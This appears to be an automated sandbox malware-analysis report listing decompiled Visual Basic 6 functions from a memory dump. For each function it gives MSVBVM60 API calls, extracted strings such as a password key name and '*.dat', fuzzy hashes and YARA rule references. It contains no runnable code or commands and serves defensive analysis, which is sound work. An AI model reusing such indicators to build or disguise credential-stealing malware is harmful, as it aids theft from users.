API ID: __vba$Free$Move$Error$Ansi$BoundsFixstrGenerate$#578CopyDestructListLsetOverflowSystem
String ID: *.dat$59ABCQEF01$["szPW"]
API String ID: 806118442-2789598873
Opcode ID: a5ac6cd11d6c4d803174f6a91ff4b35df35804981069048ccf288ae3b20bb73f
Instruction ID: e520ffca7d995d5c9d8e1e4b7866a297511e66e05a072c8871b128296ca8dfb1
Opcode Fuzzy Hash: a5ac6cd11d6c4d803174f6a91ff4b35df35804981069048ccf288ae3b20bb73f
Instruction Fuzzy Hash: 78D10C71A00258EFDB14DFA0DE88BDEB775EB48301F1081A9E50AB72A0DB745E85CF19

Function 0041A980 Relevance: 75.5, APIs: 35, Strings: 8, Instructions: 227COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(00000000,Function_000032B6), ref: 0041A99E
__vbaStrCopy.MSVBVM60(?,00000000,?,00000000,Function_000032B6), ref: 0041A9CE
__vbaAryConstruct2.MSVBVM60(?,00408078,00000003,?,00000000,?,00000000,Function_000032B6), ref: 0041A9DF
__vbaOnError.MSVBVM60(000000FF,?,00000000,?,00000000,Function_000032B6), ref: 0041A9EE
__vbaSetSystemError.MSVBVM60(0000000F,00000000,?,00000000,?,00000000,Function_000032B6), ref: 0041AA0A
__vbaRecUniToAnsi.MSVBVM60(00405598,?,00000128), ref: 0041AA44
__vbaSetSystemError.MSVBVM60(?,00000000), ref: 0041AA5A
__vbaRecAnsiToUni.MSVBVM60(00405598,00000128,?), ref: 0041AA73
#525.MSVBVM60(00000104), ref: 0041AA9C
__vbaStrMove.MSVBVM60 ref: 0041AAA7
__vbaSetSystemError.MSVBVM60(00000410,00000000,?), ref: 0041AADE
__vbaGenerateBoundsError.MSVBVM60 ref: 0041AB1D
__vbaStrToAnsi.MSVBVM60(?,00000000,000001F4), ref: 0041AB38
__vbaSetSystemError.MSVBVM60(?,?,00000000), ref: 0041AB5E
__vbaStrToUnicode.MSVBVM60(00000000,?,?,00000000), ref: 0041AB6F
__vbaFreeStr.MSVBVM60(?,00000000), ref: 0041AB84
#616.MSVBVM60(00000000,?,?,00000000), ref: 0041AB99
__vbaStrMove.MSVBVM60(?,00000000), ref: 0041ABA7
__vbaStrMove.MSVBVM60(?,?,00000000), ref: 0041ABBE
__vbaFreeStr.MSVBVM60(?,00000000), ref: 0041ABCA
#517.MSVBVM60(?,?,00000000), ref: 0041ABDB
__vbaStrMove.MSVBVM60(?,00000000), ref: 0041ABE9
#517.MSVBVM60(?,00000000,?,00000000), ref: 0041ABF7
__vbaStrMove.MSVBVM60(?,00000000), ref: 0041AC05
__vbaStrCmp.MSVBVM60(00000000,?,00000000), ref: 0041AC0C
__vbaFreeStrList.MSVBVM60(00000002,?,?,?,00000000), ref: 0041AC30
__vbaRecUniToAnsi.MSVBVM60(00405598,?,?,?,00000000,Function_000032B6), ref: 0041AC77
__vbaSetSystemError.MSVBVM60(?,00000000,?,00000000,Function_000032B6), ref: 0041AC8D
__vbaRecAnsiToUni.MSVBVM60(00405598,?,?,?,00000000,Function_000032B6), ref: 0041ACA6
__vbaSetSystemError.MSVBVM60(?), ref: 0041ACCA
__vbaFreeStr.MSVBVM60(0041AD37), ref: 0041AD03
__vbaAryDestruct.MSVBVM60(00000000,?), ref: 0041AD1B
__vbaFreeStr.MSVBVM60 ref: 0041AD24
__vbaFreeStr.MSVBVM60 ref: 0041AD30

Strings

00000, xrefs: 0041B720
+, xrefs: 0041BA22
59ABCQEF01, xrefs: 0041C236
d/m/yy h:m, xrefs: 0041B435
system\, xrefs: 0041AFA8, 0041B1B7, 0041B2C6, 0041B763
yymmdd, xrefs: 0041B6CE
*.dat, xrefs: 0041BEC0
["szPW"], xrefs: 0041C075

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba$Error$FreeSystem$AnsiMove$#517$#525#616BoundsChkstkConstruct2CopyDestructGenerateListUnicode
String ID: *.dat$+$00000$59ABCQEF01$["szPW"]$d/m/yy h:m$system\$yymmdd
API String ID: 3648932012-3366732667
Opcode ID: 7668726f4cd95b987f5e59ec2b7e3e1321d326a0ceac46527a88094c400bc5a0
Instruction ID: 2d0d5c7510d645d02d0112559b502ebe2581ea1b8a188934723facc0c59fc7af
Opcode Fuzzy Hash: 7668726f4cd95b987f5e59ec2b7e3e1321d326a0ceac46527a88094c400bc5a0
Instruction Fuzzy Hash: 03A11875901219EBDB10DFA0DE48BDEBBB4FB48305F1081A9E50AB72A0DB745A84CF58

Function 004190D0 Relevance: 73.7, APIs: 30, Strings: 12, Instructions: 179COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(00000000,Function_000032B6), ref: 004190EE
__vbaStrCopy.MSVBVM60(00000000,?,?,00000000,Function_000032B6), ref: 0041911B
__vbaOnError.MSVBVM60(000000FF), ref: 0041912A
#618.MSVBVM60(?,00000004), ref: 0041913D
__vbaStrMove.MSVBVM60 ref: 00419148
#517.MSVBVM60(00000000), ref: 0041914F
__vbaStrMove.MSVBVM60 ref: 0041915A
__vbaFreeStr.MSVBVM60 ref: 00419163
__vbaStrCmp.MSVBVM60(.png,?), ref: 00419179
__vbaStrCopy.MSVBVM60 ref: 00419192
__vbaStrCmp.MSVBVM60(.gif,?), ref: 004191AD
__vbaStrCopy.MSVBVM60 ref: 004191C6
__vbaSetSystemError.MSVBVM60(?,00000000,?), ref: 004192FA
#644.MSVBVM60(?,?,?), ref: 0041932B
__vbaSetSystemError.MSVBVM60(?,?,?,00000000), ref: 0041934A
__vbaSetSystemError.MSVBVM60(?,?,?), ref: 0041936F
__vbaFreeStr.MSVBVM60(004193A2), ref: 00419389
__vbaFreeStr.MSVBVM60 ref: 00419392
__vbaFreeStr.MSVBVM60 ref: 0041939B

Strings

.bmp, xrefs: 004192A6
.tif, xrefs: 00419244
jpeg, xrefs: 00419210
tiff, xrefs: 00419275
image/jpeg, xrefs: 004191F2, 00419226, 004192D3
.png, xrefs: 00419174
image/bmp, xrefs: 004192BC
image/gif, xrefs: 004191BE
image/png, xrefs: 0041918A
image/tiff, xrefs: 0041925A, 0041928B
.gif, xrefs: 004191A8
.jpg, xrefs: 004191DC

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba$ErrorFree$CopySystem$Move$#517#618#644Chkstk
String ID: .bmp$.gif$.jpg$.png$.tif$image/bmp$image/gif$image/jpeg$image/png$image/tiff$jpeg$tiff
API String ID: 1021285327-184555114
Opcode ID: ba1cf2ca1d92ba703dd7003ebc9d02931437add039b3899e3393abdce3672aa7
Instruction ID: 18cdca4dd913881e1e3906aabc5795d02bdbdb37ff3be22054c062f985fa0cbb
Opcode Fuzzy Hash: ba1cf2ca1d92ba703dd7003ebc9d02931437add039b3899e3393abdce3672aa7
Instruction Fuzzy Hash: 48710CB1900209EBDB04DFE1DA59BEEBB74FB44304F20806DE502B76A0D7785E45DB18

Function 00426070 Relevance: 64.8, APIs: 43, Instructions: 350COMMON

Download Yara Rule

APIs

__vbaStrCopy.MSVBVM60(6D16D9F5,00000000,6D16D83C), ref: 004260E5
__vbaStrCopy.MSVBVM60 ref: 004260ED
__vbaOnError.MSVBVM60(00000001), ref: 004260F1
__vbaStrToAnsi.MSVBVM60(?,?,80000000,00000000,00000000,00000003,00000000,00000000), ref: 00426110
__vbaSetSystemError.MSVBVM60(00000000), ref: 00426121
__vbaStrToUnicode.MSVBVM60(?,?), ref: 0042612B
__vbaFreeStr.MSVBVM60 ref: 0042613A
__vbaSetSystemError.MSVBVM60(?,00000000,?,00000000,?), ref: 0042616D
__vbaSetSystemError.MSVBVM60(?,?,00000006,?,00000000), ref: 00426183
__vbaSetSystemError.MSVBVM60(?,?,00000010,?,00000000), ref: 00426199
__vbaSetSystemError.MSVBVM60(?,?,?,00000000), ref: 004261B0
__vbaRedim.MSVBVM60(00000080,00000001,?,00000011,00000001,?,00000000), ref: 004261C6
__vbaAryLock.MSVBVM60(?,?), ref: 004261D7
__vbaGenerateBoundsError.MSVBVM60 ref: 004261F4
__vbaGenerateBoundsError.MSVBVM60 ref: 00426203
__vbaSetSystemError.MSVBVM60(?,3F800000,?,?,00000000), ref: 00426224
__vbaAryUnlock.MSVBVM60(?), ref: 0042622A
__vbaSetSystemError.MSVBVM60(?), ref: 00426239
__vbaStrToAnsi.MSVBVM60(?,?,C0000000,00000000,00000000,00000003,00000000,00000000), ref: 0042624E
__vbaSetSystemError.MSVBVM60(00000000), ref: 00426259
__vbaStrToUnicode.MSVBVM60(?,?), ref: 00426263
__vbaFreeStr.MSVBVM60 ref: 00426272
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?), ref: 004262D8
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?), ref: 004262EB
__vbaSetSystemError.MSVBVM60(?,?,?,00000000), ref: 0042630A
__vbaAryLock.MSVBVM60(?,?), ref: 00426314
__vbaGenerateBoundsError.MSVBVM60 ref: 00426331
__vbaGenerateBoundsError.MSVBVM60 ref: 00426339
__vbaUbound.MSVBVM60(00000001,?,?,00000000), ref: 0042634D
__vbaSetSystemError.MSVBVM60(?,3F800000,00000000), ref: 00426366
__vbaAryUnlock.MSVBVM60(?), ref: 00426372
__vbaAryLock.MSVBVM60(?,?), ref: 0042637C
__vbaGenerateBoundsError.MSVBVM60 ref: 0042639C
__vbaGenerateBoundsError.MSVBVM60 ref: 004263AD
__vbaAryUnlock.MSVBVM60(?,?,?,3F800004,?), ref: 004263D5
__vbaSetSystemError.MSVBVM60(?), ref: 004263E5
__vbaExitProc.MSVBVM60 ref: 004263EE
__vbaSetSystemError.MSVBVM60(?,?), ref: 00426410
__vbaExitProc.MSVBVM60 ref: 00426419
__vbaFreeStr.MSVBVM60(00426466), ref: 00426443
__vbaRecDestruct.MSVBVM60(00407F10,?), ref: 0042644E
__vbaAryDestruct.MSVBVM60(00000000,?), ref: 0042645A
__vbaFreeStr.MSVBVM60 ref: 00426463

Part of subcall function 00426480: __vbaSetSystemError.MSVBVM60(00000000,?,00000006,?,00000000,?,00426152,?), ref: 004264B4

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba$Error$System$BoundsGenerate$Free$LockUnlock$AnsiCopyDestructExitProcUnicode$RedimUbound
String ID:
API String ID: 2812220623-0
Opcode ID: 4bff154d9429e66b7277ffeb6f82d5934f284739e9e3ccb96d97e83057302d16
Instruction ID: 6d216b33ba202ac5a5f4cc22896228a38d21b0d4e91878a3c687a56ceed05745
Opcode Fuzzy Hash: 4bff154d9429e66b7277ffeb6f82d5934f284739e9e3ccb96d97e83057302d16
Instruction Fuzzy Hash: D7D12A71E00218ABCB04EFE5ED84DEEBBB9BF88704F50411EF505A7254DB74A942CB69

Function 00420670 Relevance: 61.8, APIs: 41, Instructions: 261COMMON

Download Yara Rule

APIs

__vbaStrCopy.MSVBVM60(?,00000000,00000000), ref: 004206C8
__vbaStrCopy.MSVBVM60(?,00000000), ref: 004206D0
__vbaOnError.MSVBVM60(00000001), ref: 004206D4
#648.MSVBVM60(0000000A), ref: 004206EC
__vbaFreeVar.MSVBVM60(?,00000000), ref: 004206FB
__vbaFileOpen.MSVBVM60(00000120,000000FF,00000000,?), ref: 00420714
__vbaLenBstr.MSVBVM60(00405414), ref: 0042071F
#525.MSVBVM60(00000000), ref: 00420726
__vbaStrMove.MSVBVM60(?,00000000), ref: 00420737
__vbaGet3.MSVBVM60(00000000,?,00000000), ref: 0042074B
__vbaStrCopy.MSVBVM60(?,00000000), ref: 00420755

Part of subcall function 004115D0: __vbaLenBstr.MSVBVM60(00000000), ref: 0041160D
Part of subcall function 004115D0: #631.MSVBVM60(?,?,?), ref: 00411658
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,?), ref: 00411663
Part of subcall function 004115D0: #516.MSVBVM60(00000000,?,?,?), ref: 0041166A
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,?), ref: 004116C8
Part of subcall function 004115D0: __vbaFreeVar.MSVBVM60(?,?,?), ref: 004116D1
Part of subcall function 004115D0: #631.MSVBVM60(?,?,00000002,?,?,?), ref: 00411701
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,?), ref: 0041170C
Part of subcall function 004115D0: #516.MSVBVM60(00000000,?,?,00000002,?,?,?), ref: 00411713

__vbaStrMove.MSVBVM60(?), ref: 00420765

Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,00000002,?,?,?), ref: 0041176F
Part of subcall function 004115D0: __vbaFreeVar.MSVBVM60(?,?,00000002,?,?,?), ref: 00411778
Part of subcall function 004115D0: #631.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 004117A9
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 004117B4
Part of subcall function 004115D0: #516.MSVBVM60(00000000,?,?,00000002,?,?,00000002,?,?,?), ref: 004117BB
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 0041180F
Part of subcall function 004115D0: __vbaFreeVar.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 00411818
Part of subcall function 004115D0: #537.MSVBVM60(-0000000C,?,?,?,00000002,?,?,00000002,?,?,?), ref: 00411853
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 00411864
Part of subcall function 004115D0: __vbaStrCat.MSVBVM60(00000000,?,?,00000002,?,?,00000002,?,?,?), ref: 00411867
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 00411872
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 00411877

__vbaStrMove.MSVBVM60(?,00000000), ref: 00420776
__vbaStrCmp.MSVBVM60(00000000), ref: 00420779
__vbaFreeStrList.MSVBVM60(00000003,?,?,?), ref: 00420797
__vbaGet3.MSVBVM60(00000004,?,00000000), ref: 004207C6
__vbaLenBstr.MSVBVM60(00405414), ref: 004207CD
__vbaGet3.MSVBVM60(00000004,0042C250,00000000), ref: 00420815
#525.MSVBVM60(00000000), ref: 0042081E
__vbaStrMove.MSVBVM60 ref: 0042082B
__vbaGet3.MSVBVM60(00000000,0042C254,00000000), ref: 0042083C
__vbaGet3.MSVBVM60(00000004,0042C1C0,00000000), ref: 0042084C
__vbaStrCopy.MSVBVM60 ref: 00420861
#648.MSVBVM60(0000000A), ref: 00420879
__vbaFreeVar.MSVBVM60 ref: 00420888
__vbaStrCat.MSVBVM60(00000000,?), ref: 00420899
__vbaStrMove.MSVBVM60 ref: 004208A4
__vbaFileOpen.MSVBVM60(00000220,000000FF,00000000,00000000), ref: 004208B6
__vbaFreeStr.MSVBVM60 ref: 004208BF
__vbaGenerateBoundsError.MSVBVM60 ref: 004208E1
__vbaUI1I2.MSVBVM60 ref: 004208EC
__vbaUI1I2.MSVBVM60 ref: 00420918
__vbaUI1I2.MSVBVM60 ref: 00420922

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba$Free$Move$Get3$Copy$#516#631Bstr$#525#648ErrorFileOpen$#537BoundsGenerateList
String ID:
API String ID: 695521769-0
Opcode ID: f8ef0d2bbbc17cc47077afd85e451489e7cc431014dfc9b52aac7517ad6bcadf
Instruction ID: 7f18cb6a5bab86a65f3f7d37ad3edf1072490e8e3ae84fdb7564aa9c634781f6
Opcode Fuzzy Hash: f8ef0d2bbbc17cc47077afd85e451489e7cc431014dfc9b52aac7517ad6bcadf
Instruction Fuzzy Hash: ADA1C071E00258DBCB14EFE5ED84ADEBBB5FF48300F50412AE516AB2A1DB745885CF68

Function 00422BF0 Relevance: 61.7, APIs: 41, Instructions: 214COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(00000000,004032B6,?,?,?,?,00000000,004032B6), ref: 00422C0E
__vbaStrCopy.MSVBVM60(?,00000000,?,00000000,004032B6), ref: 00422C3B
__vbaOnError.MSVBVM60(000000FF,?,00000000,?,00000000,004032B6), ref: 00422C4A
#648.MSVBVM60(0000000A), ref: 00422C69
__vbaFreeVar.MSVBVM60 ref: 00422C78
__vbaI2I4.MSVBVM60(?), ref: 00422C8C
__vbaFileOpen.MSVBVM60(00000120,000000FF,00000000), ref: 00422C9A
__vbaI2I4.MSVBVM60 ref: 00422CAA
#570.MSVBVM60(00000000), ref: 00422CB1
__vbaLenBstr.MSVBVM60(0040545C), ref: 00422CBE
__vbaI2I4.MSVBVM60 ref: 00422CF3
__vbaFileSeek.MSVBVM60(00000000,00000000), ref: 00422CFE
__vbaI2I4.MSVBVM60 ref: 00422D0E
__vbaGet3.MSVBVM60(00000004,?,00000000), ref: 00422D1B
__vbaLenBstr.MSVBVM60(0040545C), ref: 00422D39
__vbaLenBstr.MSVBVM60(0040545C), ref: 00422D67
#525.MSVBVM60(00000000), ref: 00422D6E
__vbaStrMove.MSVBVM60 ref: 00422D79
__vbaI2I4.MSVBVM60 ref: 00422D89
__vbaFileSeek.MSVBVM60(00000000,00000000), ref: 00422D94
__vbaI2I4.MSVBVM60 ref: 00422DA4
__vbaGet3.MSVBVM60(00000000,?,00000000), ref: 00422DB1

Part of subcall function 004115D0: __vbaLenBstr.MSVBVM60(00000000), ref: 0041160D
Part of subcall function 004115D0: #631.MSVBVM60(?,?,?), ref: 00411658
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,?), ref: 00411663
Part of subcall function 004115D0: #516.MSVBVM60(00000000,?,?,?), ref: 0041166A
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,?), ref: 004116C8
Part of subcall function 004115D0: __vbaFreeVar.MSVBVM60(?,?,?), ref: 004116D1
Part of subcall function 004115D0: #631.MSVBVM60(?,?,00000002,?,?,?), ref: 00411701
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,?), ref: 0041170C
Part of subcall function 004115D0: #516.MSVBVM60(00000000,?,?,00000002,?,?,?), ref: 00411713

__vbaStrMove.MSVBVM60(?), ref: 00422DCC
__vbaStrCopy.MSVBVM60 ref: 00422DEA
__vbaStrMove.MSVBVM60(00000003), ref: 00422DFB
#616.MSVBVM60(00000000), ref: 00422E02
__vbaStrMove.MSVBVM60 ref: 00422E0D

Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,00000002,?,?,?), ref: 0041176F
Part of subcall function 004115D0: __vbaFreeVar.MSVBVM60(?,?,00000002,?,?,?), ref: 00411778
Part of subcall function 004115D0: #631.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 004117A9
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 004117B4
Part of subcall function 004115D0: #516.MSVBVM60(00000000,?,?,00000002,?,?,00000002,?,?,?), ref: 004117BB
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 0041180F
Part of subcall function 004115D0: __vbaFreeVar.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 00411818
Part of subcall function 004115D0: #537.MSVBVM60(-0000000C,?,?,?,00000002,?,?,00000002,?,?,?), ref: 00411853
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 00411864
Part of subcall function 004115D0: __vbaStrCat.MSVBVM60(00000000,?,?,00000002,?,?,00000002,?,?,?), ref: 00411867
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 00411872
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 00411877

__vbaStrMove.MSVBVM60(?,00000000), ref: 00422E22
__vbaStrCmp.MSVBVM60(00000000), ref: 00422E29
__vbaFreeStrList.MSVBVM60(00000005,?,?,?,?,00000000), ref: 00422E50

Part of subcall function 004115D0: __vbaStrCopy.MSVBVM60 ref: 0041189C
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(004118D5), ref: 004118CE

__vbaStrMove.MSVBVM60(?,?,?,00000000), ref: 00422E76
__vbaStrMove.MSVBVM60(00000004), ref: 00422E97
#618.MSVBVM60(00000000), ref: 00422E9E
__vbaStrMove.MSVBVM60 ref: 00422EA9
__vbaI4Str.MSVBVM60(00000000), ref: 00422EB0
__vbaFreeStrList.MSVBVM60(00000003,?,?,00000000), ref: 00422EC7
__vbaI2I4.MSVBVM60(?,?,?,?,?,?,00000000), ref: 00422EDA
__vbaFileClose.MSVBVM60(00000000), ref: 00422EE1
__vbaFreeStr.MSVBVM60(00422F2A), ref: 00422F1A
__vbaFreeStr.MSVBVM60(?,?,?,?,?,?,00000000), ref: 00422F23
__vbaErrorOverflow.MSVBVM60 ref: 00422F40

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba$FreeMove$BstrFile$#516#631Copy$ErrorGet3ListSeek$#525#537#570#616#618#648ChkstkCloseOpenOverflow
String ID:
API String ID: 277344030-0
Opcode ID: 80d27adf0f7515f30dffb66509e59b70ef8c6a723e0b90cbf6394fe901ba1ca0
Instruction ID: 0dbf9007f3e025cc507390632291acf7cd708b816fac69f1e160cd6eff4667e3
Opcode Fuzzy Hash: 80d27adf0f7515f30dffb66509e59b70ef8c6a723e0b90cbf6394fe901ba1ca0
Instruction Fuzzy Hash: 8091C871D00248EFDB04DFA0DA48BDEBBB8FB48705F108169E612B76A0DB745A49CF64

Function 0040D650 Relevance: 61.5, APIs: 31, Strings: 4, Instructions: 283COMMON

Download Yara Rule

APIs

__vbaOnError.MSVBVM60(00000001), ref: 0040D69B
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040D6B2
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,004082BC,0000004C), ref: 0040D6D3
__vbaFreeObj.MSVBVM60 ref: 0040D6FA
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040D724
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,004082BC,00000040), ref: 0040D749
__vbaLateIdCallLd.MSVBVM60(?,?,68030000,00000000), ref: 0040D75E
__vbaI4Var.MSVBVM60(00000000), ref: 0040D768
__vbaLateMemCallLd.MSVBVM60(?,?,hwnd,00000000,00008003), ref: 0040D78A
__vbaVarTstEq.MSVBVM60(00000000), ref: 0040D794
__vbaFreeObjList.MSVBVM60(00000002,?,?), ref: 0040D7A2
__vbaFreeVarList.MSVBVM60(00000002,?,?), ref: 0040D7B2
__vbaExitProc.MSVBVM60 ref: 0040D7DF
__vbaExitProc.MSVBVM60 ref: 0040D7EC

Strings

Once, xrefs: 0040D90C, 0040D972
RO, xrefs: 0040D8E8, 0040D94D
hwnd, xrefs: 0040D77E
MR, xrefs: 0040DA2E

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba$Free$CallCheckExitHresultLateListProc$Error
String ID: MR$ RO$Once$hwnd
API String ID: 1721777011-1584818490
Opcode ID: 275dec39a3c156393e6d0d9b0a962c200548868b1d85d4cbc991b9d19bd937c4
Instruction ID: 3a18aed98be3068f103a5839567168951ce735157339c65100099b40d738d62c
Opcode Fuzzy Hash: 275dec39a3c156393e6d0d9b0a962c200548868b1d85d4cbc991b9d19bd937c4
Instruction Fuzzy Hash: 24B10771900204EBDB04DFE4DD49BAEBBB8FF48700F50816AE505B72A1DB785945CBA9

Function 0041F2C0 Relevance: 57.9, APIs: 31, Strings: 2, Instructions: 171COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(00000000,Function_000032B6,?,?,?,?,00000000,Function_000032B6), ref: 0041F2DE
__vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,Function_000032B6), ref: 0041F30E
#717.MSVBVM60(?,00004008,00000040,00000000), ref: 0041F33D
__vbaStrVarMove.MSVBVM60(?), ref: 0041F347
__vbaStrMove.MSVBVM60 ref: 0041F352
__vbaFreeVar.MSVBVM60 ref: 0041F35B
__vbaStrCopy.MSVBVM60 ref: 0041F38A
#717.MSVBVM60(?,00004008,00000040,00000000), ref: 0041F3B9
__vbaStrVarMove.MSVBVM60(?), ref: 0041F3C3
__vbaStrMove.MSVBVM60 ref: 0041F3CE
__vbaStrCopy.MSVBVM60 ref: 0041F3D9
__vbaFreeStr.MSVBVM60 ref: 0041F3E2
__vbaFreeVar.MSVBVM60 ref: 0041F3EB
__vbaStrCat.MSVBVM60(00000000,Remark for ), ref: 0041F411
#717.MSVBVM60(?,00000008,00000040,00000000), ref: 0041F430
__vbaStrVarMove.MSVBVM60(?), ref: 0041F43D
__vbaStrMove.MSVBVM60 ref: 0041F448
__vbaStrCopy.MSVBVM60 ref: 0041F453
__vbaFreeStr.MSVBVM60 ref: 0041F45C
__vbaFreeVarList.MSVBVM60(00000002,00000008,?), ref: 0041F46F
__vbaStrToAnsi.MSVBVM60(?,?,00000000), ref: 0041F4CF
__vbaSetSystemError.MSVBVM60(00000000,00000000), ref: 0041F4DD
__vbaStrToUnicode.MSVBVM60(?,?), ref: 0041F4EB
__vbaFreeStr.MSVBVM60 ref: 0041F4F4
__vbaRecUniToAnsi.MSVBVM60(00406F68,?,?,?), ref: 0041F515
__vbaSetSystemError.MSVBVM60(00000000,00000002,00000000), ref: 0041F525
__vbaRecAnsiToUni.MSVBVM60(00406F68,?,?), ref: 0041F53B
__vbaRecDestructAnsi.MSVBVM60(00406F68,?), ref: 0041F54D
__vbaRecDestructAnsi.MSVBVM60(00406F68,?,0041F5A5), ref: 0041F586
__vbaFreeStr.MSVBVM60 ref: 0041F58F
__vbaRecDestruct.MSVBVM60(00406F68,?), ref: 0041F59E

Strings

Remark for , xrefs: 0041F406
P, xrefs: 0041F48D

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba$Free$Move$Ansi$#717CopyDestructError$System$ChkstkListUnicode
String ID: P$Remark for
API String ID: 3958374764-404550290
Opcode ID: 3836bbc5565a20a4707f8b3767ffc18a2dee7e207138df64e28d7e6c74dad988
Instruction ID: 57f6e2307a2881c8932ec88b1fdace90c080974f77e0174b8cc4dbb87e3633e4
Opcode Fuzzy Hash: 3836bbc5565a20a4707f8b3767ffc18a2dee7e207138df64e28d7e6c74dad988
Instruction Fuzzy Hash: 2081FAB1900249EFDB14DFA0DE49BDEBBB8FB48305F108169E506BB2A0DB745A49CF54

Function 00411210 Relevance: 54.5, APIs: 29, Strings: 2, Instructions: 255COMMON

Download Yara Rule

APIs

#594.MSVBVM60(?,6D16D9F5,-00000001,6D16D8B1), ref: 0041127A
__vbaFreeVar.MSVBVM60 ref: 00411283
__vbaLenBstr.MSVBVM60 ref: 0041128F
#631.MSVBVM60(?,?,0000000A), ref: 004112C8
__vbaStrMove.MSVBVM60(?,?,0000000A), ref: 004112D3
#516.MSVBVM60(00000000,?,?,0000000A), ref: 004112DA
__vbaFreeStr.MSVBVM60(?,?,0000000A), ref: 004112E9
__vbaFreeVar.MSVBVM60(?,?,0000000A), ref: 004112F2
#593.MSVBVM60(00000002,?,?,?,?,0000000A), ref: 004113D6
#714.MSVBVM60(?,00000004,00000000,?,?,?,0000000A), ref: 00411464
__vbaVarAdd.MSVBVM60(?,?,00000003,?,?,0000000A), ref: 0041147C
__vbaI4Var.MSVBVM60(00000000,?,?,0000000A), ref: 00411483
__vbaFreeVarList.MSVBVM60(00000004,00000002,00000004,?,?,?,?,0000000A), ref: 004114A0
#537.MSVBVM60(?,?), ref: 004114B4
__vbaStrMove.MSVBVM60(?,?), ref: 004114C5
__vbaStrCat.MSVBVM60(00000000,?,?), ref: 004114C8
__vbaStrMove.MSVBVM60(?,?), ref: 004114D3
#537.MSVBVM60(?,00000000,?,?), ref: 004114D7
__vbaStrMove.MSVBVM60(?,00000000,?,?), ref: 004114E2
__vbaStrCat.MSVBVM60(00000000,?,00000000,?,?), ref: 004114EB
__vbaStrMove.MSVBVM60(?,00000000,?,?), ref: 004114F2
#537.MSVBVM60(00000000,00000000,?,00000000,?,?), ref: 004114F6
__vbaStrMove.MSVBVM60(?,00000000,?,?), ref: 00411501
__vbaStrCat.MSVBVM60(00000000,?,00000000,?,?), ref: 00411504
__vbaStrMove.MSVBVM60(?,00000000,?,?), ref: 0041150B
__vbaFreeStrList.MSVBVM60(00000005,?,?,?,?,?,?,00000000,?,?), ref: 00411523
__vbaStrCopy.MSVBVM60 ref: 0041154C
